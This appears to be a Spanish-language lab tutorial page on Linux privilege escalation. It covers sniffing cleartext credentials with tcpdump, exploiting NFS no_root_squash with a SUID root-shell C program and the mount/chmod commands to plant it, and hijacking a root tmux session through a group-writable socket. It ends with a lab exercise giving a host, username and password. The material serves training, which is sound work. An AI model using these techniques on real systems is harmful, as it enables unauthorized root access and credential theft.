🐧Técnicas varias
Captura de tráfico pasivo
Si tcpdump
está instalado, los usuarios sin privilegios pueden capturar el tráfico de la red, incluidas, en algunos casos, las credenciales que se pasan en texto sin formato. Existen varias herramientas, como net-creds y PCredz , que se pueden utilizar para examinar los datos que se pasan por la red. Esto puede dar como resultado la captura de información confidencial, como números de tarjetas de crédito y cadenas de comunidad SNMP. También es posible capturar hashes Net-NTLMv2, SMBv2 o Kerberos, que podrían estar sujetos a un ataque de fuerza bruta sin conexión para revelar la contraseña en texto sin formato. Los protocolos de texto sin formato, como HTTP, FTP, POP, IMAP, telnet o SMTP, pueden contener credenciales que se podrían reutilizar para aumentar los privilegios en el host.

Privilegios NFS débiles
El sistema de archivos de red (NFS) permite a los usuarios acceder a archivos o directorios compartidos a través de la red alojada en sistemas Unix/Linux. NFS utiliza el puerto TCP/UDP 2049. Cualquier montaje accesible se puede enumerar de forma remota mediante la emisión del comando showmount -e
, que enumera la lista de exportación del servidor NFS (o la lista de control de acceso para sistemas de archivos) que los clientes NFS tienen.
afsh4ck@kali$ showmount -e 10.129.2.12
Export list for 10.129.2.12:
/tmp *
/var/nfs/general *
Cuando se crea un volumen NFS, se pueden configurar varias opciones:
Opción
Descripción
root_squash
Si se utiliza el usuario root para acceder a los recursos compartidos de NFS, se cambiará al nfsnobody
usuario que es una cuenta sin privilegios. Todos los archivos creados y cargados por el usuario root serán propiedad del nfsnobody
usuario, lo que evita que un atacante cargue archivos binarios con el bit SUID activado.
no_root_squash
Los usuarios remotos que se conecten al recurso compartido como usuario raíz local podrán crear archivos en el servidor NFS como usuario raíz. Esto permitiría la creación de scripts o programas maliciosos con el bit SUID activado.
htb@NIX02:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
# to NFS clients. See exports(5).
#
# Example for NFSv2 and NFSv3:
# /srv/homes hostname1(rw,sync,no_subtree_check) hostname2(ro,sync,no_subtree_check)
#
# Example for NFSv4:
# /srv/nfs4 gss/krb5i(rw,sync,fsid=0,crossmnt,no_subtree_check)
# /srv/nfs4/homes gss/krb5i(rw,sync,no_subtree_check)
#
/var/nfs/general *(rw,no_root_squash)
/tmp *(rw,no_root_squash)
Por ejemplo, podemos crear un binario SETUID que se ejecute /bin/sh
utilizando nuestro usuario root local. Luego podemos montar el directorio /tmp
localmente, copiar el binario propiedad del usuario root al servidor NFS y configurar el bit SUID.
Primero, cree un binario simple, monte el directorio localmente, cópielo y configure los permisos necesarios.
htb@NIX02:~$ cat shell.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
setuid(0); setgid(0); system("/bin/bash");
}
htb@NIX02:/tmp$ gcc shell.c -o shell
root@kali:~$ sudo mount -t nfs 10.129.2.12:/tmp /mnt
root@kali:~$ cp shell /mnt
root@kali:~$ chmod u+s /mnt/shell
Cuando volvemos a la sesión con pocos privilegios del host, podemos ejecutar el binario y obtener un shell root.
htb@NIX02:/tmp$ ls -la
total 68
drwxrwxrwt 10 root root 4096 Sep 1 06:15 .
drwxr-xr-x 24 root root 4096 Aug 31 02:24 ..
drwxrwxrwt 2 root root 4096 Sep 1 05:35 .font-unix
drwxrwxrwt 2 root root 4096 Sep 1 05:35 .ICE-unix
-rwsr-xr-x 1 root root 16712 Sep 1 06:15 shell
<SNIP>
htb@NIX02:/tmp$ ./shell
root@NIX02:/tmp# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare),1000(htb)
Secuestro de sesiones de Tmux
Los multiplexores de terminal como tmux se pueden utilizar para permitir el acceso a varias sesiones de terminal dentro de una única sesión de consola. Cuando no se trabaja en una ventana tmux
, podemos desconectarnos de la sesión, dejándola activa (es decir, ejecutando un análisis nmap
). Por muchas razones, un usuario puede dejar un proceso tmux
ejecutándose como un usuario privilegiado, como root configurado con permisos débiles, y puede ser secuestrado. Esto se puede hacer con los siguientes comandos para crear una nueva sesión compartida y modificar la propiedad.
htb@NIX02:~$ tmux -S /shareds new -s debugsess
htb@NIX02:~$ chown root:devs /shareds
Si podemos comprometer a un usuario en el grupo dev
, podemos unirnos a esta sesión y obtener acceso root.
Verifique si hay algún proceso tmux
en ejecución.
tmux
en ejecución.htb@NIX02:~$ ps aux | grep tmux
root 4806 0.0 0.1 29416 3204 ? Ss 06:27 0:00 tmux -S /shareds new -s debugsess
Confirmar permisos
htb@NIX02:~$ ls -la /shareds
srw-rw---- 1 root devs 0 Sep 1 06:27 /shareds
Revisar nuestra membresía grupal
htb@NIX02:~$ id
uid=1000(htb) gid=1000(htb) groups=1000(htb),1011(devs)
Por último, conéctese a la sesión tmux
y confirme los privilegios de root.
tmux
y confirme los privilegios de root.htb@NIX02:~$ tmux -S /shareds
id
uid=0(root) gid=0(root) groups=0(root)
Caso práctico
SSH a 10.129.2.210 (ACADEMY-LPE-NIX02)
Usuario "htb-student"
Contraseña "Academy_LLPE!"
Revise la lista de exportaciones del servidor NFS y busque un directorio que contenga una flag.
Vamos a utilkizar showmount para ver el listado de exportaciones NFS:
afsh4ck@kali$ showmount -e 10.129.2.210
Export list for 10.129.2.210:
/tmp *
/var/nfs/general *
Al acceder a /var/nfs/general
encontramos el archivo exports_flag.txt
:

Última actualización
¿Te fue útil?